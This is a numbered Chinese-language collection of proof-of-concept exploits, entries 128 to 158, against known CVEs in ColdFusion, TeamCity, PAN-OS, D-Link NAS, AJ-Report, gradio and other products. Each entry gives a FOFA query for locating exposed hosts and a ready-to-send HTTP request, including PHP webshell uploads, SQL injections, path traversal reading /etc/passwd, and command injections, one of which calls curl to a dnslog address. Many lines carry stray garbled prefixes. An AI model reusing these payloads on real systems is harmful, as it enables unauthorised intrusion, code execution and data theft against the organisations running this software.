2 L, F; F2 I: n* C/ I& g

0 M7 J, N) i6 L2 X8 J# f128. Adobe ColdFusion 反序列化
CVE-2023-38203
7 h. O5 r! x+ E' S- GAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
7 N. x7 F1 b* e  a! Y' L. YFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
5 T" x6 I% X# ?& ]9 ?1 MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
2 X7 J4 _2 ]0 l; c- z0 ]+ g# z, {- pAccept-Encoding: gzip, deflate
. A- O+ \3 x5 |) v; XConnection: close


, {2 r2 q5 C  [  p第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 s, [7 w; M  V1 MAccept: */*
2 M: J' T6 @3 cAccept-Encoding: gzip, deflate
/ D  ?5 ^+ A5 i6 F) SConnection: close
) ~% f" W1 Q# [0 Xuuid: 85f60018-a654-4410-a783-f81cbd5000b9
; p1 |+ c& ?$ ^0 z
6 T1 R  N0 e$ g  x& R0 M  m" Q" s
130. Laykefu客服系统任意文件上传
" U$ W+ c# F3 T# o- J* uFOFA：icon_hash="-334624619"
& W4 e0 q( m, U1 TPOST /admin/users/upavatar.html HTTP/1.1
( }6 {& Q2 u" N; Q4 ^Host: 127.0.0.1
  s+ A8 a6 U/ R+ D6 [Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
0 }! v( M5 N9 V: e. I/ FUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
9 l1 M% x2 b0 u* p; Q3 QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 b  A+ g6 S- i0 MCookie: user_name=1; user_id=3
Connection: close
- o) n$ ]- g# f" ^
/ b9 s# p: ?; f+ k% l1 w: ^------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
; l. h; Y* j4 W/ V8 r- w5 }
<?php phpinfo();@eval($_POST['sec']);?>
5 K6 ?$ H1 v8 Q2 x- H------WebKitFormBoundary3OCVBiwBVsNuB2kR--
7 N6 @& ~. z% d! W; @8 t
, o2 J/ z% m0 b
131. Mini-Tmall <=20231017 SQL注入
: N2 ~; `: d2 @) OFOFA：icon_hash="-2087517259"
& ]: I) k6 p: [4 U' q2 a$ k! S) ~后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
9 x* @# m9 L" L1 J+ P$ q7 w
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
" q7 {% X# D7 n: [9 KPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
8 M8 D' p" j- ^8 p; X  V" YAccept-Encoding: gzip, deflate
: d# `8 O1 h* z$ {1 d* C! b+ M9 q  {
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

9 G# Q, y( N$ S( }: u4 a  X
CVE-2024-27199
/res/../admin/diagnostic.jsp
1 ]' R2 _- {% e$ m" O/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
2 Y% v" E8 t/ n! R9 Q

# B* G3 p) S/ |. V6 f# C2 e1 ^8 gCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
; g4 P7 Z) I0 j- w7 x& d- z0 VPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
, j. o5 E( J4 SHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
8 N0 o4 n; U; \6 C7 f7 U% S( n* D
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

3 w7 A  u8 j$ l<?php system("cat /etc/passwd");unlink(__FILE__);?>
0 g+ A; _; ]* J1 Z2 b( U------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
$ C' M/ C7 q$ p
* W7 M* [4 A1 a- p9 c  Z
' x& @5 ?4 r* d/ u' ~7 c
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
8 F+ Z; t3 h5 D- f8 n, L( iNetentsec NS-ASG Application Security Gateway 6.3版本
# q8 t  b9 |; k* q# r, @2 A. R8 eFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
/ ~5 Y2 @. r; k& ?$ y; MHost: x.x.x.x
. f# l6 v& S9 A' }, H, rCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
( z0 ]$ p4 G8 NAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 v& X6 [3 g+ tAccept-Encoding: gzip, deflate
( V, D; k% Y; [' G$ w2 CSec-Fetch-Dest: empty
7 ~" o. X: s) }' Q$ HSec-Fetch-Mode: cors
; P' c8 r+ b' q$ l: U4 _Sec-Fetch-Site: same-origin
Te: trailers
& m2 s/ Z, [; I3 D5 Z: R8 k9 NConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

3 Z" e% Q( {8 E2 Wjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

& K. c, |8 b3 B5 |; w
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
5 r/ F! O' U1 V. A! fCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
  b: @# S, b2 J* \GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
: v9 _4 f/ T% c; y( PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* h4 H+ V/ ^6 g& `. m/ @  A1 ^Accept-Language: zh-CN,zh;q=0.9
Connection: close


136. NextChat cors SSRF
  @3 F  d  Y' i* \& i7 Q0 aCVE-2023-49785
5 D# z: a) m0 B) x! OFOFA：title="NextChat"
8 y' t$ q) a) S2 h) T5 RGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ }$ o/ S- Y/ ]) ZConnection: close
3 i8 s4 f2 ]: {2 s( G, eAccept: */*
  Q7 G3 d$ c% W% d/ z: i* ZAccept-Language: en
Accept-Encoding: gzip
! a4 O# R% v# O/ T

' w0 i& W. t7 T, I4 a# E+ w137. 福建科立迅通信指挥调度平台down_file.php sql注入
7 @8 k/ ^2 f" C' f& H  BCVE-2024-2620
7 \- B" q9 v$ k% o/ DFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
5 I/ s+ D2 ^3 ~8 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ j9 u7 `8 _8 b. q9 U( T$ w: JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) ]: W4 u. V5 @: LAccept-Encoding: gzip, deflate, br
Connection: close
: q' ~: Q3 P& u) B- g9 A7 ?+ @Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
" I) D7 h) l( |# u+ a# n5 }CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
# W2 m7 i) }$ e8 F  y$ LGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
& Z+ t5 y! v4 r7 AHost: x.x.x.x
- c) e2 n$ [5 D& mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 x" Y- [: ]" s: MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" S4 V6 [5 p3 w- m! Q/ O1 LConnection: close
! h1 c" n7 {/ G, J# B& pUpgrade-Insecure-Requests: 1

4 Y& k- Y& m" _6 Z  r9 I' w
  |5 Z1 O* P9 g7 k; a139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
: ]$ A8 }, Q. R: ^% TGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 p2 s5 ~6 N" O9 n- ?" v1 S4 EAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
. C6 Y  f2 {# B# pUpgrade-Insecure-Requests: 1
6 c+ ]" j) Q8 N
! `8 G, i( ?$ ~. g& Q$ C8 f' i
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
/ n. w* @, M% A# E7 I& QCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
* t' U1 B- O% H! W+ i4 `9 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: a# C9 g7 P$ F& [2 OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 s1 o/ f  [8 d( n: r) mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
. N8 J0 n' Q1 VCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
' N  r+ U; ~6 O9 r3 i: {' x! ^FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
7 K3 G. {) ~% j  H3 IHost: your-ip
0 h: N' ]% o+ @0 e; H: sUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
7 v' z  L' M" s6 E  EContent-Type: application/x-www-form-urlencoded
; K9 g/ X8 E# \
2 j9 O3 S; {0 d& }3 L
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

& S. B* _4 D+ c$ F
( x1 [, r7 C. k! K9 S142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
2 a1 ~4 W5 p7 T) w6 b5 {admin/admin
- e0 ^+ a8 D5 T# _' H: {9 v143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

/ p( |/ V! w* z0 k: X( o144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
  x8 Q+ d2 ?$ P- `# ~& M) [system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
# b# R% ~& |, K# ], WUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
  ^9 N$ E* W7 H* ?; }' MAccept: */*
. U2 D' O+ W6 O1 IAccept-Language: en
Accept-Encoding: gzip
  y& z0 c; b, a- i3 f

( R6 C; v* q& d, B8 T! P0 n145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
% T+ p  b* ~7 yGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
4 I' }4 [$ g) T4 o0 ^Accept-Encoding: gzip
& w) B3 {. u% K- W. K
4 O! O" Q. C. P/ K  G$ v
& G, H9 b( N2 e1 H# U146. MajorDoMo thumb.php 未授权远程代码执行
8 f9 `: Y3 A. W- i  e$ ]  gCNVD-2024-02175
FOFA：app="MajordomoSL"
; }0 f' n/ ^# k6 e7 AGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
& }8 @8 f# |" R; G/ Q: z- aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
8 b& ^' c8 r6 n# L5 s: \8 n0 sConnection: close
3 v- d* Y2 a& g" q5 e- L$ V, P- y% F
% U. x, p+ S- D/ r! x7 b! F
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
( Y/ s. `3 ?7 z4 a" P* [CVE-2024-32399
5 I# _$ w/ V6 N6 XFOFA：body="RaidenMAILD"
! N( y7 u2 D  [: {4 ^/ I4 x# _4 Q8 QGET /webeditor/../../../windows/win.ini HTTP/1.1
9 [. V8 A, X8 J" MHost: 127.0.0.1:81
Cache-Control: max-age=0
# B3 ~7 e5 W; d, R" OConnection: close


( o! i( Y2 {* g5 j* z1 I* u, [  G9 W1 H148. CrushFTP 认证绕过模板注入
. S" j. U8 {+ u' |+ G# U5 J9 x/ gCVE-2024-4040
' x, {9 H$ H5 c& U) OFOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
, w& w( I& D; C# iFOFA：title="AJ-Report"
( q& Q8 L% M- h$ @$ E
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% w  o( S7 N3 S1 r: [9 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 }; v8 O( _1 z1 K0 Y- h9 X6 _$ |Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
& V( y/ a/ N& d
0 |, J3 w) i; l; |+ V% `150. AJ-Report 1.4.0 认证绕过与远程代码执行
( m* a' K7 }6 W  w. d4 |2 rFOFA：title="AJ-Report"
( O2 z2 K8 j' U3 [0 d& G; aPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
9 q3 A) h5 T8 g) JHost: x.x.x.x
7 U- q7 w0 U! T% d+ ?* \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; l% k7 q1 k/ e% `# S( qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
" f( Q7 x- B3 `8 J% M9 HAccept-Language: zh-CN,zh;q=0.9
3 R6 j6 U. w& U9 }, I, D1 ?Content-Type: application/json;charset=UTF-8
, E/ V- W2 e. ~6 DConnection: close
2 d/ p5 i6 E" L! N" d6 x4 uContent-Length: 339

( E( R- I  V4 H2 w( f' d9 w+ u{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
# l& W& X2 ]$ `+ z2 O

151. AJ-Report 1.4.1 pageList sql注入
3 T# v  `' X' k  ?% x; h0 O. I( T) xFOFA：title="AJ-Report"
; }' f8 Q+ j2 @$ ]) BGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
- V: K7 S1 I* m3 T; v4 VHost: x.x.x.x
1 i: s" C  j5 x" R% K. N5 `1 x5 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

0 k# W. |& N2 G& s5 u
' y* ?6 a# d. `, e' s5 H152. Progress Kemp LoadMaster 远程命令执行
5 g/ Q7 U7 R/ p( g3 I0 u/ |CVE-2024-1212
5 E" Z( F0 c- RLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
5 G/ b. [# `5 q2 k$ ]LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
, }9 K2 n& |2 ~% f, dJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
7 P, W0 f& U' c8 R' @1 m: p/ cHost: x.x.x.x
- V1 x3 l& l. b$ nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
7 G+ Z1 ], K# W6 F9 L- `Connection: close
Accept: */*
/ `3 j7 P: y4 W# Y. EAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
, k; _9 W  X) z% Q' MAccept-Encoding: gzip
1 P- P" g; [. Y
* I6 S3 r0 x! n; J
& f- f7 `+ r& X6 }, E153. gradio任意文件读取
/ [- `. i' o! c0 A1 g: O, \8 cCVE-2024-1561FOFA：body="__gradio_mode__"
8 S- L2 k' t6 V; W! B0 x; f& M- l第一步，请求/config文件获取componets的id
http://x.x.x.x/config
% P  r% i  i- R3 g) a
9 [( x# _; t8 T. p
第二步，将/etc/passwd的内容写入到一个临时文件
3 V$ Q9 }; Z0 R" m/ v4 i/ kPOST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
$ {9 t; q! }0 c2 O8 ?8 t8 KContent-Length: 115
Content-Type: application/json
# l" Q" Q3 l5 T/ }% i- `/ \Accept-Encoding: gzip
; h( V$ v$ N8 y: ^$ g% Y/ z
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
1 Q3 q) C8 w- |" y& z
+ y6 |0 O% i+ A4 j& H3 n! m  }. ^
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
6 p/ q8 `: h3 Q

154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
( [6 E6 g& N  c8 JHost: x.x.x.x
# E) u% i$ A6 t, _Content-Length: 106
! _" g  b& c: O# KCache-Control: max-age=0
% P' u! ^0 L. g& g) yUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
; t! N1 f6 a' p* s( t+ f: ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
# }8 W0 T" ^% Z# e2 Y0 u# eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
8 {. W" v6 C" w- S# p( T# w4 c/ N
8 S6 j- m: s" Q( A{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

" e/ h: z2 i$ X& Y1 `9 f
155. 六零导航页 file.php 任意文件上传
) G/ X7 p0 @. q2 O8 k* b. `CVE-2024-34982
& X& c8 h8 N0 i  ^# ]) ?FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
: T+ K9 a% a- q4 Q) k* x5 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; u% O& A" H! h3 A# EConnection: close
Content-Length: 232
, I- f$ ]+ K4 m! JAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
, r: }1 u4 ~( U) Y# cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
/ ^0 @7 x( N; ]1 I4 a' D2 o. f
-----------------------------qttl7vemrsold314zg0f
) b2 M6 t6 p1 [, h( }Content-Disposition: form-data; name="file"; filename="test.php"
3 P7 I  F8 X7 s% ?6 [2 MContent-Type: image/png
* j- v5 v' d, t  y3 f! Z
! P7 n  A6 F! V# e8 C8 X! A; a/ V<?php phpinfo();unlink(__FILE__);?>
; y5 l: b8 p3 I! K" t  o# w$ @/ i-----------------------------qttl7vemrsold314zg0f--

/ B0 I- B4 A- J: o6 V
, |9 w6 I8 |9 \; {& H) N访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
' F  f, g- ^6 C3 N& X1 \
156. TBK DVR-4104/DVR-4216 操作系统命令注入
% G. R* D: R! A1 z# C6 l$ dCVE-2024-3721
& R0 f/ |4 o9 P+ k! BFOFA："Location: /login.rsp"
·TBK DVR-4104
: t- C1 t" u' W, B" `% L·TBK DVR-4216
! D2 K+ I: V  w: }curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

- X, r$ ~. B: A' A) z
) H# B1 k  a  ^8 g6 @POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
' E/ Y; r! h9 ]8 x: B9 oHost: x.x.x.x
# ]6 z5 j; r) n8 SUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
4 p) l. l$ e" z! T1 x; l+ s- v: YCookie: uid=1
: J& M' S* s4 f- Z/ EAccept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
0 R4 L* o5 z+ S4 [' O& Q6 L* MCNVD-2023-06971
. L% y* g! U. eFOFA：body="/common/scripts/basic.js"
! `: e+ S$ Z* UPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
3 T$ u2 V6 J, i) k( LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ G" H  b7 W4 A# c7 g9 Y' ZAccept-Encoding: gzip, deflate
7 z  a6 ]& T/ V0 hAccept-Language: zh-CN,zh;q=0.9
0 l( w- h3 C5 h  q7 RCache-Control: max-age=0
Connection: close
0 n4 ^) k! `  ^9 n& T* m1 d& lContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
! n' M! L  r+ M7 m4 H
5 W# B/ K: L: _------WebKitFormBoundary1imovELzPsfzp5dN
) y3 {' r3 D5 V) |Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
1 n3 i1 I, N; x7 CContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
+ w& r# ^. u3 i  N4 L8 O------WebKitFormBoundary1imovELzPsfzp5dN
; x) K  q: c7 i8 ^# d: a6 OContent-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
5 x* B7 K" t) p* ?
  D0 M# r% R) o6 M/ |  }5 H3 y5 E% Anull
------WebKitFormBoundary1imovELzPsfzp5dN
' \* U7 ?0 P$ c' F  a- v1 c5 ^Content-Disposition: form-data; name="field"

+ M, @- x4 g! V1 U* lnull
% m+ w7 m. u; {3 m# A------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

) h. F  P/ x5 Cnull
------WebKitFormBoundary1imovELzPsfzp5dN
; ~0 N/ r& v% w7 l8 w/ c# h+ E5 v8 zContent-Disposition: form-data; name="filefolder"

4 K7 Y; x6 w9 b0 i( tnull
------WebKitFormBoundary1imovELzPsfzp5dN--
) X! k: ?- D+ {( p

9 @# E+ U3 v" r0 qhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
/ s# S! g( p" A, {$ P
3 w- U1 I- B9 R) H158. Mura-CMS-processAsyncObject存在SQL注入
; P% c2 u$ x6 P# ?. T8 _CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
. \: f+ }5 ?  _* _- [Content-Type: application/x-www-form-urlencoded

' j, G3 W8 p# ]1 x( P  D8 eobject=displayregion&contenthistid=x\'&previewid=1


